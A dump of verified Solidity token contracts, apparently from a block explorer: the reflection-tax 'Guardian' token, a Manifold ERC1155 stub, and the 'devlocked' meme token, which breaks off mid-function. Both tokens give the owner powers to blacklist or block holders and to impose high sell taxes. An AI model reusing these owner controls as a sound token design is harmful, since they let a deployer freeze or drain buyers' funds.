_approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Burn} event indicating the amount burnt. * Emits a {Transfer} event with `to` set to the burn address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != burnAccount, "ERC20: burn from the burn address"); uint256 accountBalance = balanceOf(account); require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); uint256 rAmount = _getRAmount(amount); // Transfer from account to the burnAccount if (_isExcludedFromReward[account]) { _tokenBalances[account] -= amount; } _reflectionBalances[account] -= rAmount; _tokenBalances[burnAccount] += amount; _reflectionBalances[burnAccount] += rAmount; _currentSupply -= amount; _totalBurnt += amount; emit Burn(account, amount); emit Transfer(account, burnAccount, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(balanceOf(sender) >= amount, "ERC20: transfer amount exceeds balance"); require(!isBlacklisted[sender] && !isBlacklisted[recipient], "Blacklisted address"); if (sender != owner() && recipient != owner()) _beforeTokenTransfer(sender); bool buying = false; if (AMMPairs[sender]) { buying = true; } bool selling = false; if (AMMPairs[recipient]) { selling = true; } ValuesFromAmount memory values = _getValues(amount, !(!_isExcludedFromFee[sender] || (buying && !_isExcludedFromFee[recipient])), selling, buying); if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferFromExcluded(sender, recipient, values); } else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferToExcluded(sender, recipient, values); } else if (!_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferStandard(sender, recipient, values); } else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferBothExcluded(sender, recipient, values); } else { _transferStandard(sender, recipient, values); } emit Transfer(sender, recipient, values.tTransferAmount); if (!_isExcludedFromFee[sender] || (buying && !_isExcludedFromFee[recipient])) { _afterTokenTransfer(values); } } function _beforeTokenTransfer(address sender) internal virtual { if (_marketingRewardEnabled) { uint256 contractBalance = _tokenBalances[address(this)]; // whether the current contract balances makes the threshold to swap and liquify. bool overMinTokensBeforeSwap = contractBalance >= _minTokensBeforeSwap; if (overMinTokensBeforeSwap && !_inSwap && !AMMPairs[sender] ) { sendFeeToAddress(marketingAddress, contractBalance); } } } /** * @dev Performs all the functionalities that are enabled. */ function _afterTokenTransfer(ValuesFromAmount memory values) internal virtual { // Burn if (_autoBurnEnabled) { _tokenBalances[address(this)] += values.tBurnFee; _reflectionBalances[address(this)] += values.rBurnFee; _approve(address(this), _msgSender(), values.tBurnFee); burnFrom(address(this), values.tBurnFee); } // Marketing Reward if (_marketingRewardEnabled) { _tokenBalances[address(this)] += values.tMarketingFee; _reflectionBalances[address(this)] += values.rMarketingFee; } // Reflect if (_rewardEnabled) { _distributeFee(values.rRewardFee, values.tRewardFee); } } /** * @dev Performs transfer between two accounts that are both included in receiving reward. */ function _transferStandard(address sender, address recipient, ValuesFromAmount memory values) private { _reflectionBalances[sender] = _reflectionBalances[sender] - values.rAmount; _reflectionBalances[recipient] = _reflectionBalances[recipient] + values.rTransferAmount; } /** * @dev Performs transfer from an included account to an excluded account. * (included and excluded from receiving reward.) */ function _transferToExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _reflectionBalances[sender] = _reflectionBalances[sender] - values.rAmount; _tokenBalances[recipient] = _tokenBalances[recipient] + values.tTransferAmount; _reflectionBalances[recipient] = _reflectionBalances[recipient] + values.rTransferAmount; } /** * @dev Performs transfer from an excluded account to an included account. * (included and excluded from receiving reward.) */ function _transferFromExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _tokenBalances[sender] = _tokenBalances[sender] - values.amount; _reflectionBalances[sender] = _reflectionBalances[sender] - values.rAmount; _reflectionBalances[recipient] = _reflectionBalances[recipient] + values.rTransferAmount; } /** * @dev Performs transfer between two accounts that are both excluded in receiving reward. */ function _transferBothExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _tokenBalances[sender] = _tokenBalances[sender] - values.amount; _reflectionBalances[sender] = _reflectionBalances[sender] - values.rAmount; _tokenBalances[recipient] = _tokenBalances[recipient] + values.tTransferAmount; _reflectionBalances[recipient] = _reflectionBalances[recipient] + values.rTransferAmount; } /** * @dev Destroys `amount` tokens from the caller. * */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } /** * @dev Excludes an account from receiving reward. * * Emits a {ExcludeAccountFromReward} event. * * Requirements: * * - `account` is included in receiving reward. */ function excludeAccountFromReward(address account) public onlyOwner { require(!_isExcludedFromReward[account], "Account already excluded from reward"); if(_reflectionBalances[account] > 0) { _tokenBalances[account] = tokenFromReflection(_reflectionBalances[account]); } _isExcludedFromReward[account] = true; _excludedFromReward.push(account); emit ExcludeAccountFromReward(account); } /** * @dev Includes an account from receiving reward. * * Emits a {IncludeAccountInReward} event. * * Requirements: * * - `account` is excluded in receiving reward. */ function includeAccountInReward(address account) public onlyOwner { require(_isExcludedFromReward[account], "Account is already included."); for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_excludedFromReward[i] == account) { _excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1]; _tokenBalances[account] = 0; _isExcludedFromReward[account] = false; _excludedFromReward.pop(); break; } } emit IncludeAccountInReward(account); } /** * @dev Excludes an account from fee. * * Emits a {ExcludeAccountFromFee} event. * * Requirements: * * - `account` is included in fee. */ function excludeAccountFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeAccountFromFee(account); } /** * @dev Includes an account from fee. * * Emits a {IncludeAccountFromFee} event. * * Requirements: * * - `account` is excluded in fee. */ function includeAccountInFee(address account) public onlyOwner { require(_isExcludedFromFee[account], "Account is already included."); _isExcludedFromFee[account] = false; emit IncludeAccountInFee(account); } /** * @dev Airdrop tokens to all holders that are included from reward. * Requirements: * - the caller must have a balance of at least `amount`. */ function airdrop(uint256 amount) public { address sender = _msgSender(); require(balanceOf(sender) >= amount, "The caller must have balance >= amount."); ValuesFromAmount memory values = _getValues(amount, false, false, false); if (_isExcludedFromReward[sender]) { _tokenBalances[sender] -= values.amount; } _reflectionBalances[sender] -= values.rAmount; _reflectionTotal = _reflectionTotal - values.rAmount; _totalRewarded += amount; emit Airdrop(amount); } /** * @dev Returns the reflected amount of a token. * Requirements: * - `amount` must be less than total supply. */ function reflectionFromToken(uint256 amount, bool deductTransferFee, bool selling, bool buying) internal view returns(uint256) { require(amount <= _totalSupply, "Amount must be less than supply"); ValuesFromAmount memory values = _getValues(amount, deductTransferFee, selling, buying); return values.rTransferAmount; } /** * @dev Used to figure out the balance after reflection. * Requirements: * - `rAmount` must be less than reflectTotal. */ function tokenFromReflection(uint256 rAmount) internal view returns(uint256) { require(rAmount <= _reflectionTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function sendFeeToAddress(address _addr, uint256 _tAmount) private { swapTokensForEth(_addr, _tAmount); } /** * @dev Swap `amount` tokens for ETH. * * Emits {Transfer} event. From this contract to the token and WETH Pair. */ function swapTokensForEth(address recipient, uint256 amount) private lockTheSwap { // Generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), amount); // Swap tokens to ETH _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, recipient, block.timestamp ); } /** * @dev Distribute the `tRewardFee` tokens to all holders that are included in receiving reward. * amount received is based on how many token one owns. */ function _distributeFee(uint256 rRewardFee, uint256 tRewardFee) private { // This would decrease rate, thus increase amount reward receive based on one's balance. _reflectionTotal = _reflectionTotal - rRewardFee; _totalRewarded += tRewardFee; } /** * @dev Returns fees and transfer amount in both tokens and reflections. * tXXXX stands for tokenXXXX * rXXXX stands for reflectionXXXX * More details can be found at comments for ValuesForAmount Struct. */ function _getValues(uint256 amount, bool deductTransferFee, bool selling, bool buying) private view returns (ValuesFromAmount memory) { ValuesFromAmount memory values; values.amount = amount; _getTValues(values, deductTransferFee, selling, buying); _getRValues(values, deductTransferFee); return values; } /** * @dev Adds fees and transfer amount in tokens to `values`. * tXXXX stands for tokenXXXX * More details can be found at comments for ValuesForAmount Struct. */ function _getTValues(ValuesFromAmount memory values, bool deductTransferFee, bool selling, bool buying) view private { if (deductTransferFee) { values.tTransferAmount = values.amount; } else { if (buying) { values.tBurnFee = _calculateTax(values.amount, _taxBurn, _taxBurnDecimals); values.tMarketingFee = _calculateTax(values.amount, _taxMarketing, _taxMarketingDecimals); values.tRewardFee = _calculateTax(values.amount, _taxReward, _taxRewardDecimals); } else if (selling) { uint32 totalTax = _taxBurn + _taxMarketing + _taxReward; if (totalTax > 0) { values.tBurnFee = _calculateTax(values.amount, _taxBurn * sellTaxIncrease / totalTax, _taxBurnDecimals); values.tMarketingFee = _calculateTax(values.amount, _taxMarketing * sellTaxIncrease / totalTax, _taxMarketingDecimals); values.tRewardFee = _calculateTax(values.amount, _taxReward * sellTaxIncrease / totalTax, _taxRewardDecimals); } } // amount after fee values.tTransferAmount = values.amount - values.tBurnFee - values.tRewardFee - values.tMarketingFee; } } /** * @dev Adds fees and transfer amount in reflection to `values`. * rXXXX stands for reflectionXXXX * More details can be found at comments for ValuesForAmount Struct. */ function _getRValues(ValuesFromAmount memory values, bool deductTransferFee) view private { uint256 currentRate = _getRate(); values.rAmount = values.amount * currentRate; if (deductTransferFee) { values.rTransferAmount = values.rAmount; } else { values.rAmount = values.amount * currentRate; values.rBurnFee = values.tBurnFee * currentRate; values.rMarketingFee = values.tMarketingFee * currentRate; values.rRewardFee = values.tRewardFee * currentRate; values.rTransferAmount = values.rAmount - values.rBurnFee - values.rRewardFee - values.rMarketingFee; } } /** * @dev Returns `amount` in reflection. */ function _getRAmount(uint256 amount) private view returns (uint256) { uint256 currentRate = _getRate(); return amount * currentRate; } /** * @dev Returns the current reflection rate. */ function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } /** * @dev Returns the current reflection supply and token supply. */ function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _reflectionTotal; uint256 tSupply = _totalSupply; for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_reflectionBalances[_excludedFromReward[i]] > rSupply || _tokenBalances[_excludedFromReward[i]] > tSupply) return (_reflectionTotal, _totalSupply); rSupply = rSupply - _reflectionBalances[_excludedFromReward[i]]; tSupply = tSupply - _tokenBalances[_excludedFromReward[i]]; } if (rSupply < _reflectionTotal / _totalSupply) return (_reflectionTotal, _totalSupply); return (rSupply, tSupply); } /** * @dev Returns fee based on `amount` and `taxRate` */ function _calculateTax(uint256 amount, uint32 tax, uint32 taxDecimals_) private pure returns (uint256) { return amount * tax / (10 ** taxDecimals_) / (10 ** 2); } /* Owner functions */ /** * @dev Enables the auto burn feature. * Burn transaction amount * `taxBurn_` amount of tokens each transaction when enabled. * * Emits a {EnabledAutoBurn} event. * * Requirements: * * - auto burn feature mush be disabled. * - tax must be greater than 0. * - tax decimals + 2 must be less than token decimals. * (because tax rate is in percentage) */ function enableAutoBurn(uint32 taxBurn_, uint32 taxBurnDecimals_) public onlyOwner { require(!_autoBurnEnabled, "Auto burn feature is already enabled."); require(taxBurn_ > 0, "Tax rate must be greater than 0."); require(taxBurnDecimals_ + 2 <= decimals(), "Tax decimals must be less than token decimals - 2"); _autoBurnEnabled = true; setTaxBurn(taxBurn_, taxBurnDecimals_); emit EnabledAutoBurn(); } /** * @dev Enables the reward feature. * Distribute transaction amount * `taxReward_` amount of tokens each transaction when enabled. * * Emits a {EnabledReward} event. * * Requirements: * * - reward feature mush be disabled. * - tax must be greater than 0. * - tax decimals + 2 must be less than token decimals. * (because tax rate is in percentage) */ function enableReward(uint32 taxReward_, uint32 taxRewardDecimals_) public onlyOwner { require(!_rewardEnabled, "Reward feature is already enabled."); require(taxReward_ > 0, "Tax rate must be greater than 0."); require(taxRewardDecimals_ + 2 <= decimals(), "Tax decimals must be less than token decimals - 2"); _rewardEnabled = true; setTaxReward(taxReward_, taxRewardDecimals_); emit EnabledReward(); } function initSwap(address routerAddress_, uint256 minTokensBeforeSwap_) public onlyOwner { // init Router IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddress_); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); if (_uniswapV2Pair == address(0)) { _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); } _uniswapV2Router = uniswapV2Router; _setAMMPair(_uniswapV2Pair, true); if (!_isExcludedFromReward[address(uniswapV2Router)]) excludeAccountFromReward(address(uniswapV2Router)); excludeAccountFromFee(address(uniswapV2Router)); setMinTokensBeforeSwap(minTokensBeforeSwap_); } function enableMarketingTax(uint32 taxMarketing_, uint32 taxMarketingDecimals_, address marketingAddress_) public onlyOwner { require(!_marketingRewardEnabled, "Marketing tax feature is already enabled."); require(taxMarketing_ > 0, "Tax rate must be greater than 0."); require(taxMarketingDecimals_ + 2 <= decimals(), "Tax decimals must be less than token decimals - 2"); _marketingRewardEnabled = true; setMarketingTax(taxMarketing_, taxMarketingDecimals_); setMarketingAddress(marketingAddress_); emit EnabledMarketingReward(); } /** * @dev Disables the auto burn feature. * * Emits a {DisabledAutoBurn} event. * * Requirements: * * - auto burn feature mush be enabled. */ function disableAutoBurn() public onlyOwner { require(_autoBurnEnabled, "Auto burn feature is already disabled."); setTaxBurn(0, 0); _autoBurnEnabled = false; emit DisabledAutoBurn(); } /** * @dev Disables the reward feature. * * Emits a {DisabledReward} event. * * Requirements: * * - reward feature mush be enabled. */ function disableReward() public onlyOwner { require(_rewardEnabled, "Reward feature is already disabled."); setTaxReward(0, 0); _rewardEnabled = false; emit DisabledReward(); } function disableMarketingTax() public onlyOwner { require(_marketingRewardEnabled, "Marketing reward feature is already disabled."); setMarketingTax(0, 0); setMarketingAddress(address(0x0)); _marketingRewardEnabled = false; emit DisabledMarketingReward(); } /** * @dev Updates `_minTokensBeforeSwap` * * Emits a {MinTokensBeforeSwap} event. * * Requirements: * * - `minTokensBeforeSwap_` must be less than _currentSupply. */ function setMinTokensBeforeSwap(uint256 minTokensBeforeSwap_) public onlyOwner { require(minTokensBeforeSwap_ < _currentSupply, "minTokensBeforeSwap must be lower than current supply."); uint256 previous = _minTokensBeforeSwap; _minTokensBeforeSwap = minTokensBeforeSwap_; emit MinTokensBeforeSwapUpdated(previous, _minTokensBeforeSwap); } /** * @dev Updates taxes */ function setTaxBurn(uint32 taxBurn_, uint32 taxBurnDecimals_) public onlyOwner { require(_autoBurnEnabled, "Auto burn feature must be enabled. Try the enableAutoBurn function."); require(taxBurn_ + _taxReward + _taxMarketing <= sellTaxIncrease, "Total tax must be lower than sellTaxIncrease"); _taxBurn = taxBurn_; _taxBurnDecimals = taxBurnDecimals_; } function setTaxReward(uint32 taxReward_, uint32 taxRewardDecimals_) public onlyOwner { require(_rewardEnabled, "Reward feature must be enabled. Try the enableReward function."); require(_taxBurn + taxReward_ + _taxMarketing <= sellTaxIncrease, "Total tax must be lower than sellTaxIncrease"); _taxReward = taxReward_; _taxRewardDecimals = taxRewardDecimals_; } function setMarketingTax(uint32 taxMarketing_, uint32 taxMarketingDecimals_) public onlyOwner { require(_marketingRewardEnabled, "Marketing reward feature must be enabled. Try the enableMarketingTax function."); require(_taxBurn + _taxReward + taxMarketing_ <= sellTaxIncrease, "Total tax must be lower than sellTaxIncrease"); _taxMarketing = taxMarketing_; _taxMarketingDecimals = taxMarketingDecimals_; } function setMarketingAddress(address marketingAddress_) public onlyOwner { address previous = marketingAddress; marketingAddress = marketingAddress_; if (!_isExcludedFromReward[marketingAddress_]) excludeAccountFromReward(marketingAddress_); excludeAccountFromFee(marketingAddress_); emit MarketingAddressUpdated(previous, marketingAddress_); } // ############## // Features added // ############## uint32 public sellTaxIncrease; mapping (address => bool) public AMMPairs; mapping(address => bool) public isBlacklisted; function setAMMPair(address pair, bool value) public onlyOwner { require(pair != _uniswapV2Pair, "The main pair cannot be removed from AMMPairs."); _setAMMPair(pair, value); } function _setAMMPair(address pair, bool value) private { AMMPairs[pair] = value; if(value) { if (!_isExcludedFromReward[pair]) excludeAccountFromReward(pair); excludeAccountFromFee(pair); } emit AMMPairUpdated(pair, value); } function changeSellTaxIncrease(uint32 amount) public onlyOwner { require(amount >= (_taxBurn + _taxReward + _taxMarketing) && amount <= 25, "Tax rate must be greater than total buy tax and lower than 25."); sellTaxIncrease = amount; } function blacklistAccount(address account, bool value) external onlyOwner { isBlacklisted[account] = value; } } contract Guardian is ExtendedReflections { uint256 private _tokenSupply = 100_000_000_000_000; uint32 private _taxBurn = 1; uint32 private _taxReward = 2; uint32 private _taxMarketing = 6; uint32 private _sellTaxIncrease = 25; uint32 private _taxDecimals = 0; uint32 private _decimals = 18; uint256 private _minTokensBeforeSwap = 100_000_000 * (10 ** _decimals); address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _marketingAddress = 0xd9deAC4Fa2cAc6871072a186F868EB305CdbCCA1; constructor () ExtendedReflections("Guardian Token", "Guardian", _decimals, _tokenSupply) { changeSellTaxIncrease(_sellTaxIncrease); enableAutoBurn(_taxBurn, _taxDecimals); enableReward(_taxReward, _taxDecimals); enableMarketingTax(_taxMarketing, _taxDecimals, _marketingAddress); initSwap(_routerAddress, _minTokensBeforeSwap); } }

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Tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"minTokensBeforeSwap_","type":"uint256"}],"name":"setMinTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"taxBurn_","type":"uint32"},{"internalType":"uint32","name":"taxBurnDecimals_","type":"uint32"}],"name":"setTaxBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"taxReward_","type":"uint32"},{"internalType":"uint32","name":"taxRewardDecimals_","type":"uint32"}],"name":"setTaxReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxBurn","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxBurnDecimals","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxMarketing","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxMarketingDecimals","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxReward","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxRewardDecimals","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

SKYG

contracts/SKYG.sol

0xcf917415be8d28aedf267fe8d06bc5f206a12527

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: SAKUYAGenesis /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; /////////////////////////////// // // // // // Sakuya Genesis Pass // // // // // /////////////////////////////// contract SKYG is ERC1155Creator { constructor() ERC1155Creator("SAKUYAGenesis", "SKYG") {} }

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v0.8.17+commit.8df45f5f

Default

0x6bf5ed59de0e19999d264746843ff931c0133090

devlocked

devlocked.sol

0x8b43d80995c41a47ea302cbb1dc8db8a5f7b047a

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract devlocked is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _buyerMap; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax=18; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=40; uint256 private _reduceSellTaxAt=40; uint256 private _preventSwapBefore=0; uint256 private _buyCount=0; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 420690000000000 * 10**_decimals; string private constant _name = unicode"DEV LOCKED THE LIQUIDITY FOR A DAY"; string private constant _symbol = unicode"MARS"; uint256 public _maxTxAmount = 813800000000 * 10**_decimals; uint256 public _maxWalletSize = 823800000000 * 10**_decimals; uint256 public _taxSwapThreshold=1051725000000 * 10**_decimals; uint256 public _maxTaxSwap=3365520000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); 